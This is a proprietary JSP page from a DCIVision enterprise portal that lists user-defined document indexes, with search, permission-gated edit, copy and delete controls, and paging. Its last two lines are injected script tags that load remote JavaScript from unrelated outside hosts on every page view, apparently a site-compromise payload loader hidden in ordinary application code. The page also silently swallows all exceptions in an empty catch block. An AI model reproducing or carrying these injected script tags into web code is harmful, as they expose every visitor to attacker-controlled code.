<%
/*
 * @(#)ListSysUserDefinedIndex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListSysUserDefinedIndex.jsp

  This is a ListSysUserDefinedIndex page.  It shows the System User Defined Index in EIP.

    @author             Phoebe Wong
    @company            DCIVision Ltd
    @creation date      04/08/2003
    @version            $Revision: 1.24.2.19 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.io.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listSysUserDefinedIndexForm" scope="request" class="com.dcivision.framework.web.ListSysUserDefinedIndexForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "sysUserDefinedIndexList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.profile_name", "USER_DEFINED_TYPE"},
                            {"dms.columnheader.profile_desc", "DESCRIPTION"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.profile_name", "USER_DEFINED_TYPE"},
                            {"dms.label.profile_desc", "DESCRIPTION"},
                            {"dms.label.profile_auto_generate_template", "GEN_KEY_TEMPLATE"},
                            {"dms.label.profile_auto_generate_max", "GEN_KEY_NUM_MAX"}
                          };

  int     COLUMN_OFFSET = 4;
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  try{
  DmsDocumentDetailDAObject dmsDocumentDetailDAO=new DmsDocumentDetailDAObject(sessionContainer,conn);

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<script language="Javascript">
  function ToggleDefaultCheckbox(theRecordID) {
  var chkAry = FindObj("basicSelectedID");
  if (chkAry && !chkAry.length) {
    chkAry = new Array(chkAry);
  }
  if (chkAry) {
    if (chkAry[0]) {
      var allCheckFlag = true;
      for (var loopCnt = 0; loopCnt < chkAry.length; loopCnt++) {
        if (chkAry[loopCnt].value == theRecordID) {
          chkAry[loopCnt].checked = !chkAry[loopCnt].checked;
        }
        if (!chkAry[loopCnt].checked) {
          allCheckFlag = false;
        }
      }
      if (chkAry[0].form.PARADM_CB_ALL_NONE) {
        chkAry[0].form.PARADM_CB_ALL_NONE.checked = allCheckFlag;
      }
    } else {
      chkAry.checked = !chkAry.checked;
      if (chkAry.form.PARADM_CB_ALL_NONE) {
        chkAry.form.PARADM_CB_ALL_NONE.checked = chkAry.checked;
      }
    }
  }
}
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDocumentProfile" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="useSysDefinedIndex" value="true" />


<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">      
    <html:permissionButton right="E" label="dms.label.default_profile_Setup" link='<%=request.getContextPath() + "/dms/MaintDmsDefaultProfileSetting.do"%>'/>
  </div>
</div>


<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
        <layout:returnButton className="but-standard"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="common.label.new" link='<%=request.getContextPath() + "/dms/MaintDocumentProfile.do"%>'/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" label="common.label.delete" onClick="return(OpListDelete(listSysUserDefinedIndexForm))"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listSysUserDefinedIndexForm, '${listSysUserDefinedIndexForm.sortAttribute}', '${listSysUserDefinedIndexForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listSysUserDefinedIndexForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listSysUserDefinedIndexForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listSysUserDefinedIndexForm.getSortAttribute()%>" sortOrder="<%=listSysUserDefinedIndexForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="sysUserDefinedIndex" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)sysUserDefinedIndex).getID()%>);">
    <td align="center">
     <%boolean hasDmsDetail=dmsDocumentDetailDAO.checkExistByUDFID(((AbstractBaseObject)sysUserDefinedIndex).getID());
      if ((((AbstractBaseObject)sysUserDefinedIndex).getID()).intValue() < 0) hasDmsDetail = true;
        if(!hasDmsDetail){
      %>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='sysUserDefinedIndex' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif' styleClass='disabledCheckbox' align='absmiddle'/>
      </logic:permission>
    <%}else{%>
      <html:img src='IconCheckboxDisable.gif' styleClass='disabledCheckbox' align='absmiddle'/>
    <%}%>
    </td>
    <td align="center">
      <%
        String navMode = "E";
        if(((SysUserDefinedIndex)sysUserDefinedIndex).getID().intValue() < 0){
          navMode="V";
        }
      %>
      <logic:permission right='E'>
      <a href="MaintDocumentProfile.do?navMode=<%=navMode%>&ID=<bean:write name='sysUserDefinedIndex' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='C'>
      <a href="MaintDocumentProfile.do?navMode=C&ID=<bean:write name='sysUserDefinedIndex' property='ID'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td nowrap>
            <a href="MaintDocumentProfile.do?navMode=V&ID=<bean:write name='sysUserDefinedIndex' property='ID'/>">
            <bean:write name='sysUserDefinedIndex' property='userDefinedType'/></a>
    </td>
    <td width="300"><bean:write name='sysUserDefinedIndex' property='description'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='sysUserDefinedIndex' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='sysUserDefinedIndex' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listSysUserDefinedIndexForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->
<%}catch(Exception e){}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>